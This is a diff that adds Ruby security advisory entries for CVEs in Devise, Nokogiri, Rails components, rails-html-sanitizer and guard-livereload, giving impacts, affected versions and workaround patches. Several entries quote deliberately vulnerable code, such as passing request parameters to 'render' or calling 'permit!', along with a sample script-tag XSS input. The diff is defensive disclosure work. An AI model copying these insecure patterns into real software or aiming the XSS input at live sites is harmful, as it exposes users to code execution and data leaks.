+ date: 2016-01-18 + description: |- + Devise version before 3.5.4 uses cookies to implement a "Remember me" + functionality. However, it generates the same cookie for all devices. If an + attacker manages to steal a remember me cookie and the user does not change + the password frequently, the cookie can be used to gain access to the + application indefinitely. + cvss_v3: 7.5 + patched_versions: + - ">= 3.5.4" +--- diff --git a/advisories/_posts/2016-01-19-CVE-2015-7499.md b/advisories/_posts/2016-01-19-CVE-2015-7499.md new file mode 100644 index 00000000..2863cade --- /dev/null +++ b/advisories/_posts/2016-01-19-CVE-2015-7499.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2015-7499 (nokogiri): Nokogiri gem contains a heap-based buffer overflow + vulnerability in libxml2' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2015-7499 + ghsa: jxjr-5h69-qw3w + url: https://groups.google.com/forum/#!topic/ruby-security-ann/Dy7YiKb_pMM + title: Nokogiri gem contains a heap-based buffer overflow vulnerability in libxml2 + date: 2016-01-19 + description: |- + Nokogiri version 1.6.7.2 has been released, pulling in several upstream + patches to the vendored libxml2 to address the following CVE: + + CVE-2015-7499 + CVSS v2 Base Score: 5.0 (MEDIUM) + + Heap-based buffer overflow in the xmlGROW function in parser.c + in libxml2 before 2.9.3 allows context-dependent attackers to + obtain sensitive process memory information via unspecified + vectors. + + libxml2 could be made to crash if it opened a specially crafted + file. It was discovered that libxml2 incorrectly handled certain + malformed documents. If a user or automated system were tricked + into opening a specially crafted document, an attacker could + possibly cause libxml2 to crash, resulting in a denial of service. + cvss_v2: 5.0 + unaffected_versions: + - "< 1.6.0" + patched_versions: + - ">= 1.6.7.2" + related: + url: + - https://github.com/sparklemotion/nokogiri/commit/9eb540e7c905924a42757bf0a34c2c00707d536c +--- diff --git a/advisories/_posts/2016-01-25-CVE-2015-7576.md b/advisories/_posts/2016-01-25-CVE-2015-7576.md new file mode 100644 index 00000000..ba76ace6 --- /dev/null +++ b/advisories/_posts/2016-01-25-CVE-2015-7576.md @@ -0,0 +1,125 @@ +--- +layout: advisory +title: 'CVE-2015-7576 (actionpack): Timing attack vulnerability in basic authentication + in Action Controller.' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2015-7576 + ghsa: p692-7mm3-3fxg + url: https://groups.google.com/forum/#!topic/rubyonrails-security/ANv0HDHEC3k + title: Timing attack vulnerability in basic authentication in Action Controller. + date: 2016-01-25 + description: |- + There is a timing attack vulnerability in the basic authentication support + in Action Controller. This vulnerability has been assigned the CVE + identifier CVE-2015-7576. + + Versions Affected: All. + Not affected: None. + Fixed Versions: 5.0.0.beta1.1, 4.2.5.1, 4.1.14.1, 3.2.22.1 + + Impact + ------ + Due to the way that Action Controller compares user names and passwords in + basic authentication authorization code, it is possible for an attacker to + analyze the time taken by a response and intuit the password. + + For example, this string comparison: + + "foo" == "bar" + + is possibly faster than this comparison: + + "foo" == "fo1" + + Attackers can use this information to attempt to guess the username and + password used in the basic authentication system. + + You can tell you application is vulnerable to this attack by looking for + `http_basic_authenticate_with` method calls in your application. + + All users running an affected release should either upgrade or use one of + the workarounds immediately. + + Releases + -------- + The FIXED releases are available at the normal locations. + + Workarounds + ----------- + If you can't upgrade, please use the following monkey patch in an initializer + that is loaded before your application: + + ``` + $ cat config/initializers/basic_auth_fix.rb + module ActiveSupport + module SecurityUtils + def secure_compare(a, b) + return false unless a.bytesize == b.bytesize + + l = a.unpack "C#{a.bytesize}" + + res = 0 + b.each_byte { |byte| res |= byte ^ l.shift } + res == 0 + end + module_function :secure_compare + + def variable_size_secure_compare(a, b) + secure_compare(::Digest::SHA256.hexdigest(a), ::Digest::SHA256.hexdigest(b)) + end + module_function :variable_size_secure_compare + end + end + + module ActionController + class Base + def self.http_basic_authenticate_with(options = {}) + before_action(options.except(:name, :password, :realm)) do + authenticate_or_request_with_http_basic(options[:realm] || "Application") do |name, password| + # This comparison uses & so that it doesn't short circuit and + # uses `variable_size_secure_compare` so that length information + # isn't leaked. + ActiveSupport::SecurityUtils.variable_size_secure_compare(name, options[:name]) & + ActiveSupport::SecurityUtils.variable_size_secure_compare(password, options[:password]) + end + end + end + end + end + ``` + + + Patches + ------- + To aid users who aren't able to upgrade immediately we have provided patches for + the two supported release series. They are in git-am format and consist of a + single changeset. + + * 4-1-basic_auth.patch - Patch for 4.1 series + * 4-2-basic_auth.patch - Patch for 4.2 series + * 5-0-basic_auth.patch - Patch for 5.0 series + + Please note that only the 4.1.x and 4.2.x series are supported at present. Users + of earlier unsupported releases are advised to upgrade as soon as possible as we + cannot guarantee the continued availability of security fixes for unsupported + releases. + + Credits + ------- + + Thank you to Daniel Waterworth for reporting the problem and working with us to + fix it. + cvss_v2: 4.3 + cvss_v3: 3.7 + patched_versions: + - ">= 5.0.0.beta1.1" + - "~> 4.2.5, >= 4.2.5.1" + - "~> 4.1.14, >= 4.1.14.1" + - "~> 3.2.22.1" +--- diff --git a/advisories/_posts/2016-01-25-CVE-2015-7577.md b/advisories/_posts/2016-01-25-CVE-2015-7577.md new file mode 100644 index 00000000..e6817ba3 --- /dev/null +++ b/advisories/_posts/2016-01-25-CVE-2015-7577.md @@ -0,0 +1,115 @@ +--- +layout: advisory +title: 'CVE-2015-7577 (activerecord): Nested attributes rejection proc bypass in Active + Record' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2015-7577 + ghsa: xrr6-3pc4-m447 + url: https://groups.google.com/forum/#!topic/rubyonrails-security/cawsWcQ6c8g + title: Nested attributes rejection proc bypass in Active Record + date: 2016-01-25 + description: |- + There is a vulnerability in how the nested attributes feature in Active Record + handles updates in combination with destroy flags when destroying records is + disabled. This vulnerability has been assigned the CVE identifier CVE-2015-7577. + + Versions Affected: 3.1.0 and newer + Not affected: 3.0.x and older + Fixed Versions: 5.0.0.beta1.1, 4.2.5.1, 4.1.14.1, 3.2.22.1 + + Impact + ------ + When using the nested attributes feature in Active Record you can prevent the + destruction of associated records by passing the `allow_destroy: false` option + to the `accepts_nested_attributes_for` method. However due to a change in the + commit [a9b4b5d][1] the `_destroy` flag prevents the `:reject_if` proc from + being called because it assumes that the record will be destroyed anyway. + + However this isn't true if `:allow_destroy` is false so this leads to changes + that would have been rejected being applied to the record. Attackers could use + this do things like set attributes to invalid values and to clear all of the + attributes amongst other things. The severity will be dependent on how the + application has used this feature. + + All users running an affected release should either upgrade or use one of + the workarounds immediately. + + Releases + -------- + The FIXED releases are available at the normal locations. + + Workarounds + ----------- + If you can't upgrade, please use the following monkey patch in an initializer + that is loaded before your application: + + ``` + $ cat config/initializers/nested_attributes_bypass_fix.rb + module ActiveRecord + module NestedAttributes + private + + def reject_new_record?(association_name, attributes) + will_be_destroyed?(association_name, attributes) || call_reject_if(association_name, attributes) + end + + def call_reject_if(association_name, attributes) + return false if will_be_destroyed?(association_name, attributes) + + case callback = self.nested_attributes_options[association_name][:reject_if] + when Symbol + method(callback).arity == 0 ? send(callback) : send(callback, attributes) + when Proc + callback.call(attributes) + end + end + + def will_be_destroyed?(association_name, attributes) + allow_destroy?(association_name) && has_destroy_flag?(attributes) + end + + def allow_destroy?(association_name) + self.nested_attributes_options[association_name][:allow_destroy] + end + end + end + ``` + + Patches + ------- + To aid users who aren't able to upgrade immediately we have provided patches for + the two supported release series. They are in git-am format and consist of a + single changeset. + + * 3-2-nested-attributes-reject-if-bypass.patch - Patch for 3.2 series + * 4-1-nested-attributes-reject-if-bypass.patch - Patch for 4.1 series + * 4-2-nested-attributes-reject-if-bypass.patch - Patch for 4.2 series + * 5-0-nested-attributes-reject-if-bypass.patch - Patch for 5.0 series + + Please note that only the 4.1.x and 4.2.x series are supported at present. Users + of earlier unsupported releases are advised to upgrade as soon as possible as we + cannot guarantee the continued availability of security fixes for unsupported + releases. + + Credits + ------- + Thank you to Justin Coyne for reporting the problem and working with us to fix it. + + [1]: https://github.com/rails/rails/commit/a9b4b5da7c216e4464eeb9dbd0a39ea258d64325 + cvss_v2: 5.0 + cvss_v3: 5.3 + unaffected_versions: + - "~> 3.0.0" + - "< 3.0.0" + patched_versions: + - ">= 5.0.0.beta1.1" + - "~> 4.2.5, >= 4.2.5.1" + - "~> 4.1.14, >= 4.1.14.1" + - "~> 3.2.22.1" +--- diff --git a/advisories/_posts/2016-01-25-CVE-2015-7578.md b/advisories/_posts/2016-01-25-CVE-2015-7578.md new file mode 100644 index 00000000..1e2b4412 --- /dev/null +++ b/advisories/_posts/2016-01-25-CVE-2015-7578.md @@ -0,0 +1,53 @@ +--- +layout: advisory +title: 'CVE-2015-7578 (rails-html-sanitizer): Possible XSS vulnerability in rails-html-sanitizer' +comments: false +categories: +- rails-html-sanitizer +advisory: + gem: rails-html-sanitizer + cve: 2015-7578 + ghsa: 59c7-4xj2-hgvw + url: https://groups.google.com/forum/#!topic/rubyonrails-security/uh--W4TDwmI + title: Possible XSS vulnerability in rails-html-sanitizer + date: 2016-01-25 + description: |- + There is a possible XSS vulnerability in rails-html-sanitizer. This + vulnerability has been assigned the CVE identifier CVE-2015-7578. + + Versions Affected: All. + Not affected: None. + Fixed Versions: 1.0.3 + + Impact + ------ + There is a possible XSS vulnerability in rails-html-sanitizer. Certain + attributes are not removed from tags when they are sanitized, and these + attributes can lead to an XSS attack on target applications. + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Releases + -------- + The FIXED releases are available at the normal locations. + + Workarounds + ----------- + There are no feasible workarounds for this issue. + + Patches + ------- + To aid users who aren't able to upgrade immediately we have provided patches for + the two supported release series. They are in git-am format and consist of a + single changeset. + + * 1-0-sanitize_data_attributes.patch - Patch for 1.0 series + + Credits + ------- + Thanks to Ben Murphy and Marien for reporting this. + cvss_v3: 6.1 + patched_versions: + - ">= 1.0.3" +--- diff --git a/advisories/_posts/2016-01-25-CVE-2015-7579.md b/advisories/_posts/2016-01-25-CVE-2015-7579.md new file mode 100644 index 00000000..d29da738 --- /dev/null +++ b/advisories/_posts/2016-01-25-CVE-2015-7579.md @@ -0,0 +1,80 @@ +--- +layout: advisory +title: 'CVE-2015-7579 (rails-html-sanitizer): XSS vulnerability in rails-html-sanitizer' +comments: false +categories: +- rails-html-sanitizer +advisory: + gem: rails-html-sanitizer + cve: 2015-7579 + ghsa: r9c2-cr39-c8g6 + url: https://groups.google.com/forum/#!topic/rubyonrails-security/OU9ugTZcbjc + title: XSS vulnerability in rails-html-sanitizer + date: 2016-01-25 + description: |- + There is a XSS vulnerability in `Rails::Html::FullSanitizer` used by Action View's `strip_tags`. + This vulnerability has been assigned the CVE identifier CVE-2015-7579. + + Versions Affected: 1.0.2 + Not affected: 1.0.0, 1.0.1 + Fixed Versions: 1.0.3 + + Impact + ------ + Due to the way that `Rails::Html::FullSanitizer` is implemented, if an attacker + passes an already escaped HTML entity to the input of Action View's `strip_tags` + these entities will be unescaped what may cause a XSS attack if used in combination + with `raw` or `html_safe`. + + For example: + + strip_tags("<script>alert('XSS')</script>") + + Would generate: + + + + After the fix it will generate: + + <script>alert('XSS')</script> + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Releases + -------- + The FIXED releases are available at the normal locations. + + Workarounds + ----------- + If you can't upgrade, please use the following monkey patch in an initializer + that is loaded before your application: + + ``` + $ cat config/initializers/strip_tags_fix.rb + class ActionView::Base + def strip_tags(html) + self.class.full_sanitizer.sanitize(html) + end + end + ``` + + Patches + ------- + To aid users who aren't able to upgrade immediately we have provided patches + for the two supported release series. They are in git-am format and consist + of a single changeset. + + * Do-not-unescape-already-escaped-HTML-entities.patch + + Credits + ------- + Thank you to Arthur Neves from GitHub and Spyros Livathinos from Zendesk for + reporting the problem and working with us to fix it. + cvss_v3: 6.1 + unaffected_versions: + - "~> 1.0.0" + - "~> 1.0.1" + patched_versions: + - ">= 1.0.3" +--- diff --git a/advisories/_posts/2016-01-25-CVE-2015-7580.md b/advisories/_posts/2016-01-25-CVE-2015-7580.md new file mode 100644 index 00000000..8d84c4b1 --- /dev/null +++ b/advisories/_posts/2016-01-25-CVE-2015-7580.md @@ -0,0 +1,76 @@ +--- +layout: advisory +title: 'CVE-2015-7580 (rails-html-sanitizer): Possible XSS vulnerability in rails-html-sanitizer' +comments: false +categories: +- rails-html-sanitizer +advisory: + gem: rails-html-sanitizer + cve: 2015-7580 + ghsa: ghqm-pgxj-37gq + url: https://groups.google.com/forum/#!topic/rubyonrails-security/uh--W4TDwmI + title: Possible XSS vulnerability in rails-html-sanitizer + date: 2016-01-25 + description: |- + There is a possible XSS vulnerability in the white list sanitizer in the + rails-html-sanitizer gem. This vulnerability has been assigned the CVE + identifier CVE-2015-7580. + + Versions Affected: All. + Not affected: None. + Fixed Versions: v1.0.3 + + Impact + ------ + Carefully crafted strings can cause user input to bypass the sanitization in + the white list sanitizer which will can lead to an XSS attack. + + Vulnerable code will look something like this: + + <%= sanitize user_input, tags: %w(em) %> + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Releases + -------- + The FIXED releases are available at the normal locations. + + Workarounds + ----------- + Putting the following monkey patch in an initializer can help to mitigate the + issue: + + ``` + class Rails::Html::PermitScrubber + alias :old_scrub :scrub + alias :old_skip_node? :skip_node? + + def scrub(node) + if node.cdata? + text = node.document.create_text_node node.text + node.replace text + return CONTINUE + end + old_scrub node + end + + def skip_node?(node); node.text?; end + end + ``` + + Patches + ------- + To aid users who aren't able to upgrade immediately we have provided patches for + the two supported release series. They are in git-am format and consist of a + single changeset. + + * 1-0-whitelist_sanitizer_xss.patch - Patch for 1.0 series + + Credits + ------- + Thanks to Arnaud Germis, Nate Clark, and John Colvin for reporting this issue. + cvss_v3: 6.1 + patched_versions: + - ">= 1.0.3" +--- diff --git a/advisories/_posts/2016-01-25-CVE-2015-7581.md b/advisories/_posts/2016-01-25-CVE-2015-7581.md new file mode 100644 index 00000000..e50f1c88 --- /dev/null +++ b/advisories/_posts/2016-01-25-CVE-2015-7581.md @@ -0,0 +1,62 @@ +--- +layout: advisory +title: 'CVE-2015-7581 (actionpack): Object leak vulnerability for wildcard controller + routes in Action Pack' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2015-7581 + ghsa: 9h6g-gp95-x3q5 + url: https://groups.google.com/forum/#!topic/rubyonrails-security/dthJ5wL69JE + title: Object leak vulnerability for wildcard controller routes in Action Pack + date: 2016-01-25 + description: |- + There is an object leak vulnerability for wildcard controllers in Action Pack. + This vulnerability has been assigned the CVE identifier CVE-2015-7581. + + Versions Affected: >= 4.0.0 and < 5.0.0.beta1 + Not affected: < 4.0.0, 5.0.0.beta1 and newer + Fixed Versions: 4.2.5.1, 4.1.14.1 + + Impact + ------ + Users that have a route that contains the string ":controller" are susceptible + to objects being leaked globally which can lead to unbounded memory growth. + To identify if your application is vulnerable, look for routes that contain + ":controller". + + Internally, Action Pack keeps a map of "url controller name" to "controller + class name". This map is cached globally, and is populated even if the + controller class doesn't actually exist. + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Releases + -------- + The FIXED releases are available at the normal locations. + + Workarounds + ----------- + There are no feasible workarounds for this issue. + + Patches + ------- + To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset. + + * 4-1-wildcard_route.patch - Patch for 4.1 series + * 4-2-wildcard_route.patch - Patch for 4.2 series + + Please note that only the 4.1.x and 4.2.x series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases. + cvss_v3: 7.5 + unaffected_versions: + - "< 4.0.0" + - ">= 5.0.0.beta1" + patched_versions: + - "~> 4.2.5, >= 4.2.5.1" + - "~> 4.1.14, >= 4.1.14.1" +--- diff --git a/advisories/_posts/2016-01-25-CVE-2016-0751.md b/advisories/_posts/2016-01-25-CVE-2016-0751.md new file mode 100644 index 00000000..d4162eec --- /dev/null +++ b/advisories/_posts/2016-01-25-CVE-2016-0751.md @@ -0,0 +1,80 @@ +--- +layout: advisory +title: 'CVE-2016-0751 (actionpack): Possible Object Leak and Denial of Service attack + in Action Pack' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2016-0751 + ghsa: ffpv-c4hm-3x6v + url: https://groups.google.com/forum/#!topic/rubyonrails-security/9oLY_FCzvoc + title: Possible Object Leak and Denial of Service attack in Action Pack + date: 2016-01-25 + description: |- + There is a possible object leak which can lead to a denial of service + vulnerability in Action Pack. This vulnerability has been + assigned the CVE identifier CVE-2016-0751. + + Versions Affected: All. + Not affected: None. + Fixed Versions: 5.0.0.beta1.1, 4.2.5.1, 4.1.14.1, 3.2.22.1 + + Impact + ------ + A carefully crafted accept header can cause a global cache of mime types to + grow indefinitely which can lead to a possible denial of service attack in + Action Pack. + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Releases + -------- + The FIXED releases are available at the normal locations. + + Workarounds + ----------- + This attack can be mitigated by a proxy that only allows known mime types in + the Accept header. + + Placing the following code in an initializer will also mitigate the issue: + + ```ruby + require 'action_dispatch/http/mime_type' + + Mime.const_set :LOOKUP, Hash.new { |h,k| + Mime::Type.new(k) unless k.blank? + } + ``` + + Patches + ------- + To aid users who aren't able to upgrade immediately we have provided patches for + the two supported release series. They are in git-am format and consist of a + single changeset. + + * 5-0-mime_types_leak.patch - Patch for 5.0 series + * 4-2-mime_types_leak.patch - Patch for 4.2 series + * 4-1-mime_types_leak.patch - Patch for 4.1 series + * 3-2-mime_types_leak.patch - Patch for 3.2 series + + Please note that only the 4.1.x and 4.2.x series are supported at present. Users + of earlier unsupported releases are advised to upgrade as soon as possible as we + cannot guarantee the continued availability of security fixes for unsupported + releases. + + Credits + ------- + Aaron Patterson <3<3 + cvss_v2: 5.0 + cvss_v3: 7.5 + patched_versions: + - ">= 5.0.0.beta1.1" + - "~> 4.2.5, >= 4.2.5.1" + - "~> 4.1.14, >= 4.1.14.1" + - "~> 3.2.22.1" +--- diff --git a/advisories/_posts/2016-01-25-CVE-2016-0752.md b/advisories/_posts/2016-01-25-CVE-2016-0752.md new file mode 100644 index 00000000..be238ad9 --- /dev/null +++ b/advisories/_posts/2016-01-25-CVE-2016-0752.md @@ -0,0 +1,101 @@ +--- +layout: advisory +title: 'CVE-2016-0752 (actionview): Possible Information Leak Vulnerability in Action + View' +comments: false +categories: +- actionview +- rails +advisory: + gem: actionview + framework: rails + cve: 2016-0752 + ghsa: xrr4-p6fq-hjg7 + url: https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00 + title: Possible Information Leak Vulnerability in Action View + date: 2016-01-25 + description: |- + There is a possible directory traversal and information leak vulnerability in + Action View. This vulnerability has been assigned the CVE identifier + CVE-2016-0752. + + Versions Affected: All. + Not affected: None. + Fixed Versions: 5.0.0.beta1.1, 4.2.5.1, 4.1.14.1, 3.2.22.1 + + Impact + ------ + Applications that pass unverified user input to the `render` method in a + controller may be vulnerable to an information leak vulnerability. + + Impacted code will look something like this: + + ```ruby + def index + render params[:id] + end + ``` + + Carefully crafted requests can cause the above code to render files from + unexpected places like outside the application's view directory, and can + possibly escalate this to a remote code execution attack. + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Releases + -------- + The FIXED releases are available at the normal locations. + + Workarounds + ----------- + A workaround to this issue is to not pass arbitrary user input to the `render` + method. Instead, verify that data before passing it to the `render` method. + + For example, change this: + + ```ruby + def index + render params[:id] + end + ``` + + To this: + + ```ruby + def index + render verify_template(params[:id]) + end + + private + def verify_template(name) + # add verification logic particular to your application here + end + ``` + + Patches + ------- + To aid users who aren't able to upgrade immediately we have provided patches for + the two supported release series. They are in git-am format and consist of a + single changeset. + + * 3-2-render_data_leak.patch - Patch for 3.2 series + * 4-1-render_data_leak.patch - Patch for 4.1 series + * 4-2-render_data_leak.patch - Patch for 4.2 series + * 5-0-render_data_leak.patch - Patch for 5.0 series + + Please note that only the 4.1.x and 4.2.x series are supported at present. Users + of earlier unsupported releases are advised to upgrade as soon as possible as we + cannot guarantee the continued availability of security fixes for unsupported + releases. + + Credits + ------- + Thanks John Poulin for reporting this! + cvss_v2: 5.0 + cvss_v3: 7.5 + patched_versions: + - ">= 5.0.0.beta1.1" + - "~> 4.2.5, >= 4.2.5.1" + - "~> 4.1.14, >= 4.1.14.1" +--- diff --git a/advisories/_posts/2016-01-25-CVE-2016-0753.md b/advisories/_posts/2016-01-25-CVE-2016-0753.md new file mode 100644 index 00000000..8fa7e87a --- /dev/null +++ b/advisories/_posts/2016-01-25-CVE-2016-0753.md @@ -0,0 +1,100 @@ +--- +layout: advisory +title: 'CVE-2016-0753 (activemodel): Possible Input Validation Circumvention in Active + Model' +comments: false +categories: +- activemodel +- rails +advisory: + gem: activemodel + framework: rails + cve: 2016-0753 + ghsa: 543v-gj2c-r3ch + url: https://groups.google.com/forum/#!topic/rubyonrails-security/6jQVC1geukQ + title: Possible Input Validation Circumvention in Active Model + date: 2016-01-25 + description: |- + There is a possible input validation circumvention vulnerability in Active + Model. This vulnerability has been assigned the CVE identifier CVE-2016-0753. + + Versions Affected: 4.1.0 and newer + Not affected: 4.0.13 and older + Fixed Versions: 5.0.0.beta1.1, 4.2.5.1, 4.1.14.1 + + Impact + ------ + Code that uses Active Model based models (including Active Record models) and + does not validate user input before passing it to the model can be subject to + an attack where specially crafted input will cause the model to skip + validations. + + Vulnerable code will look something like this: + + ```ruby + SomeModel.new(unverified_user_input) + ``` + + Rails users using Strong Parameters are generally not impacted by this issue + as they are encouraged to whitelist parameters and must specifically opt-out + of input verification using the `permit!` method to allow mass assignment. + + For example, a vulnerable Rails application will have code that looks like + this: + + ```ruby + def create + params.permit! # allow all parameters + @user = User.new params[:users] + end + ``` + + Active Model and Active Record objects are not equipped to handle arbitrary + user input. It is up to the application to verify input before passing it to + Active Model models. Rails users already have Strong Parameters in place to + handle white listing, but applications using Active Model and Active Record + outside of a Rails environment may be impacted. + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Releases + -------- + The FIXED releases are available at the normal locations. + + Workarounds + ----------- + There are several workarounds depending on the application. Inside a Rails + application, stop using `permit!`. Outside a Rails application, either use + Hash#slice to select the parameters you need, or integrate Strong Parameters + with your application. + + Patches + ------- + To aid users who aren't able to upgrade immediately we have provided patches for + the two supported release series. They are in git-am format and consist of a + single changeset. + + * 4-1-validation_skip.patch - Patch for 4.1 series + * 4-2-validation_skip.patch - Patch for 4.2 series + * 5-0-validation_skip.patch - Patch for 5.0 series + + Please note that only the 4.1.x and 4.2.x series are supported at present. Users + of earlier unsupported releases are advised to upgrade as soon as possible as we + cannot guarantee the continued availability of security fixes for unsupported + releases. + + Credits + ------- + Thanks to: + + [John Backus](https://github.com/backus) from BlockScore for reporting this! + cvss_v2: 5.0 + cvss_v3: 5.3 + unaffected_versions: + - "<= 4.0.13" + patched_versions: + - ">= 5.0.0.beta1.1" + - "~> 4.2.5, >= 4.2.5.1" + - "~> 4.1.14, >= 4.1.14.1" +--- diff --git a/advisories/_posts/2016-02-04-CVE-2016-1000305.md b/advisories/_posts/2016-02-04-CVE-2016-1000305.md new file mode 100644 index 00000000..3daea94f --- /dev/null +++ b/advisories/_posts/2016-02-04-CVE-2016-1000305.md @@ -0,0 +1,64 @@ +--- +layout: advisory +title: 'CVE-2016-1000305 (guard-livereload): Directory traversal vulnerability in + guard-livereload' +comments: false +categories: +- guard-livereload +advisory: + gem: guard-livereload + cve: 2016-1000305 + url: https://security.snyk.io/vuln/SNYK-RUBY-GUARDLIVERELOAD-20361 + title: Directory traversal vulnerability in guard-livereload + date: 2016-02-04 + description: |- + The vulnerability allows remote attackers to read arbitrary files + on the server by exploiting improper path validation in the + livereload server functionality. + + This vulnerability is related to the handling of file paths in the + livereload server component, which could allow an attacker to traverse + directories and access files outside the intended web root directory. + + The issue was identified and reported through the DWF (Distributed + Weakness Filing) project, which assigns CVE identifiers for + security vulnerabilities. + + A directory traversal vulnerability exists in + guard-livereload before version 2.5.2. + cvss_v3: 5.3 + patched_versions: + - ">= 2.5.2" + related: + url: + - https://security.snyk.io/vuln/SNYK-RUBY-GUARDLIVERELOAD-20361 + - https://github.com/puiterwijk/DWF-Database-Artifacts/blob/master/DWF/2016/1000305/CVE-2016-1000305.json + - https://rubygems.org/gems/guard-livereload/versions/2.5.2 + - https://github.com/guard/guard-livereload/releases/tag/v2.5.2 + - https://github.com/guard/guard-livereload/pull/158 + - https://github.com/guard/guard-livereload/pull/158/changes/a24c99e4ce4542d16f5a578df8d47b1275feca46 + - https://github.com/guard/guard-livereload/issues/159 + - https://github.com/rubysec/ruby-advisory-db/issues/289 + - https://github.com/rubysec/ruby-advisory-db/pull/1026 + notes: | + - 1/11/2026, 6/8/2026 Notes + - 1. Deal with cve-2016-1000305 + - real, reserved, published?(NONE OF THE ABOVE) + - (DEAD) https://cve.report/CVE-2016-1000305 (CVE NOT PUBLISHED) + - 2. No GHSA for guard-livereload gem. (checked/fyi) + - 3. "date: 2016-02-03" came from gem release date. (fyi) + - 4. Pick which description: text to use. (done) + - 5. Check "unaffected_versions:" and "patched_versions:" values. (done) + - 6. "cvss_v3: 5.3" came from SNYK URL (fyi) + - 7. Fill in "related:" URLs. (done) + - PR#1026: notes: + - DWF: This vulnerability was assigned CVE-2016-1000305 by + the DWF (Distributed Weakness Filing) project. + - (DWF Info) https://lwn.net/Articles/679441 + - (DEAD LINK) https://github.com/distributedweaknessfiling/ + DWF-Database-Artifacts/blob/158c10cf11bc7d6ad728c1a8dd213f + 523ecfca52/DWF/2016/1000305/CVE-2016-1000305.json + - WARNING: The gem has not been released after fixing this + vulnerability in version 2.5.2. + - Users should consider migrating to rack-livereload as an alternative. +--- diff --git a/advisories/_posts/2016-02-29-CVE-2016-2097.md b/advisories/_posts/2016-02-29-CVE-2016-2097.md new file mode 100644 index 00000000..ace6e996 --- /dev/null +++ b/advisories/_posts/2016-02-29-CVE-2016-2097.md @@ -0,0 +1,94 @@ +--- +layout: advisory +title: 'CVE-2016-2097 (actionview): Possible Information Leak Vulnerability in Action + View' +comments: false +categories: +- actionview +- rails +advisory: + gem: actionview + framework: rails + cve: 2016-2097 + ghsa: vx9j-46rh-fqr8 + url: https://groups.google.com/forum/#!topic/rubyonrails-security/ddY6HgqB2z4 + title: Possible Information Leak Vulnerability in Action View + date: 2016-02-29 + description: |- + There is a possible directory traversal and information leak vulnerability + in Action View. This was meant to be fixed on CVE-2016-0752. However the 3.2 + patch was not covering all the scenarios. This vulnerability has been + assigned the CVE identifier CVE-2016-2097. + + Versions Affected: 3.2.x, 4.0.x, 4.1.x + Not affected: 4.2+ + Fixed Versions: 3.2.22.2, 4.1.14.2 + + Impact + ------ + Applications that pass unverified user input to the `render` method in a + controller may be vulnerable to an information leak vulnerability. + + Impacted code will look something like this: + + ```ruby + def index + render params[:id] + end + ``` + + Carefully crafted requests can cause the above code to render files from + unexpected places like outside the application's view directory, and can + possibly escalate this to a remote code execution attack. + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Releases + -------- + The FIXED releases are available at the normal locations. + + Workarounds + ----------- + A workaround to this issue is to not pass arbitrary user input to the `render` + method. Instead, verify that data before passing it to the `render` method. + + For example, change this: + + ```ruby + def index + render params[:id] + end + ``` + + To this: + + ```ruby + def index + render verify_template(params[:id]) + end + + private + def verify_template(name) + # add verification logic particular to your application here + end + ``` + + Patches + ------- + To aid users who aren't able to upgrade immediately we have provided patches + for it. It is in git-am format and consist of a single changeset. + + * 3-2-render_data_leak_2.patch - Patch for 3.2 series + * 4-1-render_data_leak_2.patch - Patch for 4.1 series + + Credits + ------- + Thanks to both Jyoti Singh and Tobias Kraze from makandra for reporting this + and working with us in the patch! + cvss_v3: 5.3 + unaffected_versions: + - ">= 4.2.0" + patched_versions: + - "~> 4.1.14, >= 4.1.14.2" +--- diff --git a/advisories/_posts/2016-02-29-CVE-2016-2098.md b/advisories/_posts/2016-02-29-CVE-2016-2098.md new file mode 100644 index 00000000..9f80a085 --- /dev/null +++ b/advisories/_posts/2016-02-29-CVE-2016-2098.md @@ -0,0 +1,96 @@ +--- +layout: advisory +title: 'CVE-2016-2098 (actionpack): Possible remote code execution vulnerability in + Action Pack' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2016-2098 + ghsa: 78rc-8c29-p45g + url: https://groups.google.com/forum/#!topic/rubyonrails-security/ly-IH-fxr_Q + title: Possible remote code execution vulnerability in Action Pack + date: 2016-02-29 + description: |- + There is a possible remote code execution vulnerability in Action Pack. + This vulnerability has been assigned the CVE identifier CVE-2016-2098. + + Versions Affected: 3.2.x, 4.0.x, 4.1.x, 4.2.x + Not affected: 5.0+ + Fixed Versions: 3.2.22.2, 4.1.14.2, 4.2.5.2 + + Impact + ------ + Applications that pass unverified user input to the `render` method in a + controller or a view may be vulnerable to a code injection. + + Impacted code will look like this: + + ```ruby + class TestController < ApplicationController + def show + render params[:id] + end + end + ``` + + An attacker could use the request parameters to coerce the above example + to execute arbitrary ruby code. + + All users running an affected release should either upgrade or use one of + the workarounds immediately. + + Releases + -------- + The FIXED releases are available at the normal locations. + + Workarounds + ----------- + A workaround to this issue is to not pass arbitrary user input to the `render` + method. Instead, verify that data before passing it to the `render` method. + + For example, change this: + + ```ruby + def index + render params[:id] + end + ``` + + To this: + + ```ruby + def index + render verify_template(params[:id]) + end + + private + def verify_template(name) + # add verification logic particular to your application here + end + ``` + + Patches + ------- + To aid users who aren't able to upgrade immediately we have provided a + patch for it. It is in git-am format and consist of a single changeset. + + * 3-2-secure_inline_with_params.patch - Patch for 3.2 series + * 4-1-secure_inline_with_params.patch - Patch for 4.1 series + * 4-2-secure_inline_with_params.patch - Patch for 4.2 series + + Credits + ------- + Thanks to both Tobias Kraze from makandra and joernchen of Phenoelit for + reporting this! + cvss_v3: 7.3 + unaffected_versions: + 